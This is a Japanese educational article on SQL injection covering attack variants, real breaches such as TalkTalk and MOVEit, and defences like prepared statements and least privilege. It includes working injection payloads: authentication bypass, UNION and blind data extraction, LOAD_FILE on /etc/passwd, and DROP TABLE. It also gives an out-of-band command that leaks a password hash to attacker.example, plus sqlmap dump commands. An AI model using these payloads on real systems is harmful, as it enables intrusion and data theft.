SQL インジェクション (SQLi) は、ユーザ入力を SQL 文に直接連結することで、攻撃者が本来許されないクエリを DB に実行させる脆弱性。本質は 「データ」と「コード」が同じ文字列の中に同居していること。アプリは「ここはデータのつもり」で扱っていても、DB のパーサは構文として解釈してしまう。本稿では SQLi の 4 つの系統 (UNION / Blind / Time-based / Out-of-Band) / 認証バイパス・データ吸い出し・スタッククエリの実例 / TalkTalk・Heartland・MOVEit などの著名事件 / プリペアドステートメントを中心とした多層防御まで通しで扱う。
SQLi とは何か — データとコードの混在 #
SQL インジェクションの根本原因は、アプリが SQL 文を 文字列連結 で組み立てている点にある。
// PHP — 典型的な悪い例
$id = $_GET['id'];
$sql = "SELECT name, email FROM users WHERE id = " . $id;
$result = mysqli_query($conn, $sql);
# 想定: ?id=42 → SELECT ... WHERE id = 42
# 攻撃: ?id=42 OR 1=1 → SELECT ... WHERE id = 42 OR 1=1 (全件返る)
id パラメータは「数値が入る場所」のつもりだが、DB から見れば 42 OR 1=1 という SQL の一部として解釈される。OR は SQL の予約語であり、攻撃者が文字列の中で「データの位置」を脱出して「コードの位置」に滑り込んだ。これが SQLi の正体。
DB ユーザが持つ権限のすべてが攻撃者の手に渡る。多くの実装では (a) 全テーブルの読み取り、(b) パスワードハッシュの抜き取り、(c) UPDATE / DELETE による改竄、(d) LOAD_FILE / INTO OUTFILE による OS ファイル読み書き、(e) ストアドプロシージャ経由の OS コマンド実行 (MS SQL の xp_cmdshell 等) まで可能。
OWASP Top 10 における位置づけ #
SQLi は OWASP Top 10 の A03:2021 Injection の中心。1998 年に Rain Forest Puppy が公に紹介して以来 30 年近く、Web セキュリティの最重要トピックであり続けている。「フレームワークの ORM があれば防げる」と言われがちだが、whereRaw / DB::statement / N+1 回避のための生 SQL / レガシーシステム / 動的テーブル名・カラム名など、ORM の外側に出る瞬間はいくらでもある。
発生する箇所 #
SQLi の入口は HTML フォームだけではない。
- URL クエリパラメータ (
?id=...) - POST ボディ
- HTTP ヘッダ (
User-Agent,Referer,X-Forwarded-Forなどをログテーブルに INSERT する実装で頻発) - Cookie 値
- JSON / XML / GraphQL の payload
- ファイル名 (
SELECT ... WHERE filename = '...'の実装) - WebSocket メッセージ
「ユーザの影響が到達するすべての文字列」が候補と考える。
SQLi の 4 系統 #
攻撃ペイロードが結果としてどう情報を引き出すかによって、SQLi は 4 系統に分類される。
In-Band — UNION ベース #
DB の応答が画面に出る場合、UNION SELECT で別テーブルの中身を結果セットに混ぜ込む。
# 元の SQL: SELECT title, body FROM posts WHERE id = ?
# 攻撃ペイロード:
?id=1 UNION SELECT username, password_hash FROM users --
# DB が実際に流すクエリ:
SELECT title, body FROM posts WHERE id = 1
UNION SELECT username, password_hash FROM users --
# 画面の「title / body」枠に user テーブルの中身が表示される
最速で情報を盗める方法。条件は (a) クエリの結果が画面に出ること、(b) カラム数を合わせられること、(c) コメント (-- # /* */) で末尾を無効化できること。
In-Band — Error ベース #
DB のエラーメッセージが画面に出る実装では、わざと型エラーを起こして「エラー文に DB の中身を含ませる」テクニックが効く。
?id=1 AND extractvalue(1, concat(0x7e, (SELECT database())))
# エラー: XPATH syntax error: '~mydb_production'
# → エラー文にデータベース名が漏洩
「Error-based SQLi」と呼ばれる。本番でエラー詳細を画面に出すべきでない一番の理由がこれ。
Blind — Boolean ベース #
応答内容も DB エラーも返らない場合でも、**「真の時と偽の時で応答が変わる」**ことを使って 1 ビットずつ情報を引き出せる。
?id=1 AND substring((SELECT password FROM users WHERE id=1),1,1)='a'
# → 真なら通常ページ、偽なら 404 / 空ページ
?id=1 AND substring((SELECT password FROM users WHERE id=1),1,1)='b'
# → 1 文字目を 0-9, a-z で総当たり
人力では遅いが、sqlmap のような自動ツールが 1 文字あたり数 ms で抜く。
Blind — Time ベース #
応答が「真でも偽でも全く同じ」場合でも、SLEEP() で応答時間に差を出して情報を取れる。
?id=1 AND IF(substring((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0)
# 応答が 5 秒遅れたら 1 文字目は 'a'
# 即応答なら別の文字 → 次を試す
pg_sleep() (PostgreSQL), WAITFOR DELAY (MS SQL), dbms_pipe.receive_message (Oracle) と DB ごとに方言がある。最も検知が難しい SQLi。
Out-of-Band (OOB) #
応答に何も出ず時間差も出せない環境では、DB に外部通信させて情報を持ち出す。DNS リゾルバや HTTP リクエストに DB 名を混ぜて、攻撃者のサーバが受信する。
; DECLARE @data varchar(1024);
SELECT @data = (SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "\\' + @data + '.attacker.example\foo"');
# DNS リクエスト: hash_value.attacker.example が攻撃者の権威 DNS に届く
Burp Collaborator や独自の DNS リスナで受け取る。Blind すら難しい環境への最終手段。
攻撃の典型シナリオ #
認証バイパス — 最古典 #
// 脆弱なログイン処理
$sql = "SELECT * FROM users WHERE user='" . $u . "' AND pass='" . $p . "'";
# 攻撃:
user: admin' --
pass: (なんでも)
# 実 SQL:
SELECT * FROM users WHERE user='admin' -- ' AND pass='...'
# パスワード条件はコメントアウトで消える → admin としてログイン成立
' OR '1'='1 系のペイロードは 1998 年から教科書に載っているが、レガシーシステムや独自フレームワークでは今でも刺さる。
データの一括吸い出し #
UNION SELECT でテーブル一覧 (information_schema.tables) → カラム名 (information_schema.columns) → 中身 (users, payment_cards, sessions 等) の順に系統的に抜く。sqlmap --dump-all で全自動化できる。
ファイル読み取り (LOAD_FILE) #
DB プロセスが OS ファイルを読める権限を持っている場合、LOAD_FILE('/etc/passwd') のような関数で OS ファイルを画面に引き出せる。設定ファイル・秘密鍵・アプリケーション設定 (.env 等) が露出する。
スタッククエリ (; 連結) による改竄 #
mysqli_multi_query や MS SQL のように複数文を 1 リクエストで実行できる API では、; DROP TABLE users; -- のような連結でテーブル破壊・データ改竄ができる。MySQL の標準 PHP API (PDO の prepare 付き等) では ; 連結は通らない点が救い。
OS コマンド実行へのエスカレーション #
DB が OS コマンドを叩ける機能を持つと、SQLi が即 RCE になる。
- MS SQL —
xp_cmdshell(デフォルト無効化推奨) - PostgreSQL —
COPY ... FROM PROGRAM(9.3+) - MySQL — UDF (User Defined Function) を
INTO OUTFILEで書き込んでロード - Oracle — Java ストアド経由
実環境では SQLi 単体ではなく、SQLi → RCE → 内部横展開 → ランサム展開 という連鎖の入口になりがち。
攻撃のステップ — 攻撃者が辿る順序 #
実際の攻撃は次のフェーズを順に踏むことが多い。
' 一文字を入れて 500 エラー・DB エラー・応答差異が出るかを確認。' OR '1'='1 のような典型ペイロードで挙動変化を見る。VERSION() vs @@version vs SELECT banner) で MySQL / PostgreSQL / MS SQL / Oracle / SQLite を識別。攻撃の方言が変わる。ORDER BY n を増やしてエラーになる境界)、データ型 (UNION SELECT NULL,NULL,... で互換確認) を測る。information_schema.tables → columns でテーブル名・カラム名を取得。users, accounts, secrets 等を優先。sqlmap --dump で自動化。INTO OUTFILE で Web シェル設置、xp_cmdshell で RCE、横展開。ハッシュは別途オフラインで Hashcat。sqlmap はこの 1〜5 をほぼ全自動で実行する。sqlmap -u "https://target/page?id=1" --batch --dump の 1 行で完結する状況も実在する。
著名な SQLi 事件 #
Heartland Payment Systems (2008) #
決済処理大手 Heartland が SQLi で約 1 億 3,400 万件のクレカ情報 を流出させた事件。攻撃者 Albert Gonzalez 氏 (TJX 事件の主犯と同一人物) は SQLi で内部ネットワークに侵入し、PIN パッドを傍受するスニファを設置。PCI DSS 認定を受けていたにも関わらず侵害が起き、業界に PCI 基準の限界を突きつけた。Heartland は罰金・賠償で総額 約 1 億 4,000 万ドル を支払った。
TalkTalk (2015) #
英国の通信大手 TalkTalk が SQLi で 約 16 万件の顧客データ (氏名・住所・生年月日・銀行口座情報含む) を流出させた。攻撃したのは 15 歳と 16 歳の少年 2 人 で、当時パッチ未適用だった既知の SQLi 脆弱性を sqlmap で突いた。情報コミッショナーオフィス (ICO) は £400,000 の罰金を科し、これは当時の英国 DPA 違反としては過去最大。CEO Dido Harding の辞任にもつながった。
Sony Pictures (2011) #
Sony Pictures のサイトに SQLi で侵入した LulzSec が、100 万件以上のユーザ ID・パスワード・住所・誕生日を平文で流出。「クッキー数枚で叩ける程度の SQLi」だったと攻撃者自身が公開し、企業のセキュリティ姿勢への大規模な批判と「LulzSec Summer of Lulz」と呼ばれる連続攻撃の口火となった。
MOVEit Transfer (2023) #
これは厳密には SQLi 単独ではなく、progress.ipsworks.moveit.* の SQLi 脆弱性 (CVE-2023-34362) を起点とした CL0P ランサムグループ によるサプライチェーン攻撃。2,700 社以上 / 9,000 万人以上 の個人情報が漏洩した、過去最大規模の SQLi 系インシデント。米連邦政府・州政府・大手金融・大学・医療機関を巻き込み、被害総額は推定 150 億ドル超。SQLi が現代でも巨大な脅威であることの最新の証左。
教訓 #
これらに共通するのは、SQLi は「20 年前のレガシー脆弱性」ではなく、現代の大規模サプライチェーン攻撃の起点になり得る こと。1 社の DB を抜くだけで、その下流の数千社が連鎖被害を受ける構造になっている。
防御策 — 多層防御 #
SQLi 対策の根本は 「ユーザ入力を SQL の構文として絶対に解釈させない」 こと。これを実現する手段がプリペアドステートメントであり、それ以外は補助でしかない。
プリペアドステートメント (パラメータ化クエリ) — 最重要 #
SQL 構文を先に DB に送り、後からデータをバインドする。データ位置に何が入っても 構文として再解釈されない のが本質。
$stmt = $pdo->prepare("SELECT name, email FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
$user = $stmt->fetch();
# ?id=42 OR 1=1 を渡しても、文字列 "42 OR 1=1" として WHERE id = に流れる
# DB は構文ではなく値として扱うので攻撃不成立
| 言語 / FW | 安全な書き方 |
|---|---|
| PHP | PDO::prepare + execute([$param]) |
| Laravel | Eloquent / Query Builder (自動でバインド) |
| Node.js | mysql2/pg のプレースホルダ ? または $1 |
| Python | cursor.execute(sql, (param,)) (%s プレースホルダ) |
| Java | PreparedStatement + setString / setInt |
| Go | db.Query("... WHERE id = ?", id) |
| .NET | SqlCommand + Parameters.AddWithValue |
「mysqli_real_escape_string を通してから sprintf」は SQLi 対策ではない。文字列の中のクォートしかエスケープしないので、数値カラムをクォートなしで連結すれば即攻撃可能。プリペアドが「データを SQL から分離する」のと根本的に異なる。
動的識別子 (テーブル名・カラム名) の扱い #
プリペアドステートメントはあくまで「値」のバインド機構。識別子 (テーブル名・カラム名・ORDER BY 列・ASC/DESC) はバインドできない。動的にしたい場合は、ホワイトリスト方式 で許可された名前のみ通す。
$allowed = ['created_at', 'name', 'price'];
$column = in_array($_GET['sort'], $allowed) ? $_GET['sort'] : 'created_at';
$sql = "SELECT * FROM products ORDER BY " . $column;最小権限の原則 #
アプリが使う DB ユーザに「アプリが必要とする最小限の権限」だけを与える。
- 一般 Web ロールに
DROP,ALTER,FILE,CREATE USERなどの DDL / 管理権限を与えない INTO OUTFILE/LOAD_FILEを禁止 (FILE権限を剥奪)xp_cmdshellのような OS コマンド機能をデフォルト無効化- 読み取り専用画面では
SELECT専用ロールを使う - 異なるアプリケーションを 別 DB ユーザ で分離
最小権限は SQLi を防がないが、SQLi が成功した時の被害を最小化する最重要の追加防御。
WAF (Web Application Firewall) #
Cloudflare / AWS WAF / ModSecurity などが既知の SQLi パターンをリクエストレベルで弾く。根本対策ではない (/**/ コメント挿入、Unicode エスケープ、HTTP Parameter Pollution などで頻繁に回避される) が、ゼロデイへの時間稼ぎとしては有効。
エラーメッセージの制御 #
本番では DB エラーメッセージをユーザに返さない。Laravel なら APP_DEBUG=false、PHP なら display_errors=Off、.NET なら customErrors mode="On"。エラーログにはスタックトレースを残し、画面には汎用 500 ページを返す。Error-based SQLi の攻撃面を物理的に塞ぐ。
入力バリデーション #
「数値カラムは数値しか受け付けない」「メールアドレスは形式バリデーション」「列挙値はホワイトリスト」など、意味的に許容する範囲だけ通す。プリペアドの上にさらに 1 層重ねる補助防御。
SAST / コードレビュー #
Semgrep / CodeQL / SonarQube などの静的解析で「文字列連結による SQL 構築」を機械検出する。フレームワーク非標準の「生 SQL を書く API」(Laravel の whereRaw、TypeORM の query 等) の呼び出し箇所を grep して集中レビューするのが現実的。
大半の SQLi は非標準 API の使用箇所に集中する。grep -rn 'whereRaw\|DB::statement\|DB::raw\|mysqli_query\|exec(.*SQL' で全件洗い出してレビューすれば、自動エスケープを使ってる現代スタックの SQLi は 9 割落ちる。
ORM の限界 #
Eloquent / ActiveRecord / TypeORM 等の ORM は SQLi 対策の主力だが、「メソッドにユーザ入力を直接渡す」と防げない箇所がある。
| 危険 | 例 |
|---|---|
whereRaw($input) |
whereRaw($request->q) は丸ごと SQL に流す |
orderByRaw |
同上、ORDER BY の構文を組み立てる |
selectRaw |
カラム式を生で渡す |
DB::statement |
任意の SQL を実行 |
| 動的テーブル名 | Model::from($input) |
これらは「便利な抜け道」として用意されているが、ユーザ入力をそのまま渡すと SQLi が直撃する。
テストと検出 #
手動テスト #
最小の試験ペイロード:
' # シングルクォート単体 — 500 / エラーが出るか
" # ダブルクォート
' OR '1'='1 # 認証バイパス古典
' OR 1=1 -- # コメント終端
1 AND SLEEP(5) -- # Time-based
1; WAITFOR DELAY '0:0:5' -- # MS SQL Time-based応答内容・応答時間・HTTP ステータスのいずれかに変化が出れば SQLi の疑い。
自動ツール #
- sqlmap — SQLi 検出/抽出の事実上の標準 OSS。Web フォーム・REST API・GraphQL に対応
- Burp Suite Pro Scanner — 商用、検出精度が高い
- OWASP ZAP — OSS の動的スキャナ
- NoSQLi 系 (NoSQLMap) — MongoDB などへの NoSQLi 検査
sqlmap -u "https://target/path?id=1" --batch --random-agent --level=3 --risk=2 のような起動が定番。
静的解析 (SAST) #
- Semgrep —
taint-modeで「ユーザ入力 → SQL 構築」のデータフローを追える - CodeQL — GitHub の SAST。
js/sql-injection,python/sql-injectionクエリが標準 - SonarQube — 商用、各種ルール内蔵
CI に組み込んで PR 時点で検出するのが現実的。
本番ログ監視 #
WAF / DB プロキシで UNION SELECT, SLEEP(, information_schema, xp_cmdshell, LOAD_FILE などのキーワードを検知してアラート。攻撃の偵察フェーズで気付ける可能性が高い。
関連する派生・誤解 #
| 攻撃 | 関係 |
|---|---|
| NoSQL Injection | MongoDB / Redis / Elasticsearch などのクエリ言語にも同型の脆弱性がある。{$gt: ""} 型のオブジェクト注入や JS 評価関数 ($where) が代表的 |
| ORM Injection | ORM が裏で SQL を生成する過程で、ユーザ入力がメソッド引数 (filter, where) として渡るときの脆弱性。whereRaw 系が典型 |
| LDAP Injection | LDAP クエリへの注入。*)(uid=* のような形でフィルタを書き換える |
| XPath Injection | XML を解析するアプリへの注入。SQLi と類似 |
| Server-Side Template Injection (SSTI) | テンプレートエンジン (Jinja2, Twig 等) へのコード注入。SQLi と同じ「データとコードの混在」問題の別フレーバー |
「ORM を使ってるから SQLi はない」「NoSQL は SQLi がない」はどちらも誤り。問題は構文と値の分離であって、SQL かどうかではない。
まとめ — 開発者が押さえる 6 項目 #
SQLi は 30 年近く前から知られている脆弱性だが、MOVEit 事件 (2023) が示すように現代でも最大級の脅威であり続けている。文字列連結を一切やめ、最小権限と組み合わせて多層に守るのが現実的な解。
- プリペアドステートメント / ORM で値と構文を分離する (例外なく)
- 動的識別子 (テーブル名・ORDER BY) はホワイトリストで許可
- アプリ DB ユーザに最小権限のみ付与 (DDL / FILE / 管理権限を剥奪)
- 本番でDB エラーメッセージを表示しない (Error-based の攻撃面を物理削除)
whereRaw/DB::statement等の抜け穴を grepでレビュー- CI に SAST (Semgrep / CodeQL) を組み込んで PR で検出
OWASP Top 10 で 30 年居座り続けている理由は、対策が難しいからではなく、「文字列連結が直感的に楽だから」というだけ。プリペアドを使う習慣を組織に植えれば、SQLi は防げる脆弱性である。